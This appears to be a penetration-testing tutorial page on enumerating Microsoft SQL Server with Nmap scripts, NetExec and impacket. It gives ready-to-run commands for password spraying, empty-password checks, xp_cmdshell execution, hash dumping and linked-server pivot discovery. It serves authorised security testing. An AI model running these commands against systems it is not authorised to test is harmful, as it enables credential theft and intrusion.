# MSSQL enumeration with nmap and netexec

> Enumerate MSSQL instances using Nmap scripts and NetExec to identify versions, configurations, linked servers, and credentials.

- **URL:** https://hackindex.io/services/mssql/enumeration/mssql-enumeration-with-nmap-and-netexec
- **Path:** MSSQL > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/mssql/enumeration.md)
- **Published:** 2026-01-18
- **Updated:** 2026-08-11

Target TCP/1433 first. Confirm instance metadata, pull NTLM host/domain hints, validate creds fast, then enumerate accessible DBs/tables/config with authenticated scripts or an interactive client.

## Service discovery and instance metadata (no auth)

```bash
nmap -sV -p ${PORT:-1433} --script ms-sql-info $TARGET_IP
```

What you expect:

- Instance name, version/build, sometimes service details.
- If this returns multiple instances, key off the instance name and port in later NSE script args.

SQL Browser discovery (UDP/1434). Useful for named instances and mapping instance → port.

```bash
nmap -sU -p 1434 --script broadcast-ms-sql-discover
```

NTLM info leak over TDS (domain, hostname, OS build hints) when NTLM is enabled:

```bash
nmap -p ${PORT:-1433} --script ms-sql-ntlm-info $TARGET_IP
```

## Quick auth checks (no creds / weak creds)

Check if `sa` accepts empty password:

```bash
nmap -p ${PORT:-1433} --script ms-sql-empty-password $TARGET_IP
```

Interpretation:

- Any positive hit is immediate high impact. Move to authenticated enumeration with that credential set.

## Credential validation and controlled spraying (nxc)

Single credential set:

```bash
nxc mssql $TARGET_IP -u "$USER" -p "$PASSWORD"
```

Spray lists:

```bash
nxc mssql $TARGET_IP -u user.txt -p pass.txt
```

Domain context (Windows auth paths tend to matter for MSSQL):

```bash
nxc mssql $TARGET_IP -d "$DOMAIN" -u "$USER" -p "$PASSWORD"
nxc mssql $TARGET_IP -d "$DOMAIN" -u user.txt -p pass.txt
```

What to do with results:

- A clean auth success means you can switch to interactive query-based enumeration immediately.
- If auth succeeds but actions fail later, it’s usually permission boundary, not connectivity.

> [!NOTE]
> CrackMapExec is legacy for most workflows now. Use `nxc` (NetExec) for the same “one binary, many protocols” style.

## Authenticated enumeration with Nmap NSE

Use authenticated NSE when you want a quick, structured snapshot without fully logging in interactively.

Config + linked servers + DB list signals:

```bash
nmap -p ${PORT:-1433} --script ms-sql-config --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP
```

Which DBs this user can access:

```bash
nmap -p ${PORT:-1433} --script ms-sql-hasdbaccess --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP
```

Enumerate tables (permission dependent, can be noisy):

```bash
nmap -p ${PORT:-1433} --script ms-sql-tables --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP
```

Dedicated Admin Connection (DAC) port discovery via SQL Browser:

```bash
nmap --script ms-sql-dac --script-args mssql.instance-name=MSSQLSERVER $TARGET_IP
```

### High-risk capability checks

These are privilege-dependent and can cross into exploitation. Keep them scoped and expect failures unless you’re sysadmin.

```bash
nmap -p ${PORT:-1433} --script ms-sql-xp-cmdshell --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433},ms-sql-xp-cmdshell.cmd="whoami" $TARGET_IP
```

Hash dumping requires high DB privileges and is high signal if it works:

```bash
nmap -p ${PORT:-1433} --script ms-sql-dump-hashes --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP
```

Interpretation:

- `xp_cmdshell` success means you have OS-level execution via SQL Server context. That’s no longer “enumeration” work.
- Hash dump success means you’ve got a credential pipeline. Shift to cracking/offline validation and lateral movement planning.

## Interactive enumeration (impacket-mssqlclient, sqsh)

Impacket is usually the fastest for Windows-auth flows.

Windows auth:

```bash
impacket-mssqlclient "$DOMAIN/$USER:$PASSWORD@$TARGET_IP" -windows-auth
```

SQL auth:

```bash
impacket-mssqlclient "$USER:$PASSWORD@$TARGET_IP"
```

sqsh (handy for quick querying from Linux):

```bash
sqsh -S $TARGET_IP -U "$USER" -P "$PASSWORD"
sqsh -S $TARGET_IP -U "$DOMAIN\\$USER" -P "$PASSWORD"
```

What you do next:

- Confirm who you are and what server role you landed in.
- Enumerate DBs, then focus on app-owned DBs and anything with secrets/config tables.

## High-value SQL queries

Identity and privilege context:

```sql
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
SELECT name, type_desc, is_disabled FROM sys.server_principals ORDER BY type_desc, name;

```

List databases:

```sql
SELECT name FROM master..sysdatabases;
```

Tables in current database:

```sql
SELECT TABLE_SCHEMA, TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE='BASE TABLE'
ORDER BY TABLE_SCHEMA, TABLE_NAME;

```

Database users/roles (current DB):

```sql
SELECT name, type_desc
FROM sys.database_principals
ORDER BY type_desc, name;

```

Linked servers (common pivot surface):

```sql
EXEC sp_linkedservers;

```

Interpretation that changes decisions:

- `is_sysadmin = 1` means you can usually enable/abuse server-level features (xp_cmdshell, agent jobs, linked server execution). That’s an exploitation page.
- Linked servers present an immediate pivot graph. Enumerate their security context and whether RPC is enabled next.

## References

- [Nmap ms-sql-info NSE](https://nmap.org/nsedoc/scripts/ms-sql-info.html) - Instance/version discovery behavior
- [Nmap ms-sql-ntlm-info NSE](https://nmap.org/nsedoc/scripts/ms-sql-ntlm-info.html) - NTLM disclosure fields (host/domain/OS hints)
- [Nmap ms-sql-empty-password NSE](https://nmap.org/nsedoc/scripts/ms-sql-empty-password.html) - Empty password check for sa
- [Nmap ms-sql-config NSE](https://nmap.org/nsedoc/scripts/ms-sql-config.html) - Config/DB/linked server enumeration
- [Nmap ms-sql-hasdbaccess NSE](https://nmap.org/nsedoc/scripts/ms-sql-hasdbaccess.html) - Per-user DB access enumeration
- [Nmap ms-sql-dac NSE](https://nmap.org/nsedoc/scripts/ms-sql-dac.html) - DAC port discovery via SQL Browser
- [Nmap ms-sql-dump-hashes NSE](https://nmap.org/nsedoc/scripts/ms-sql-dump-hashes.html) - Hash dumping requirements/output
- [NetExec Wiki](https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol) - nxc protocol usage patterns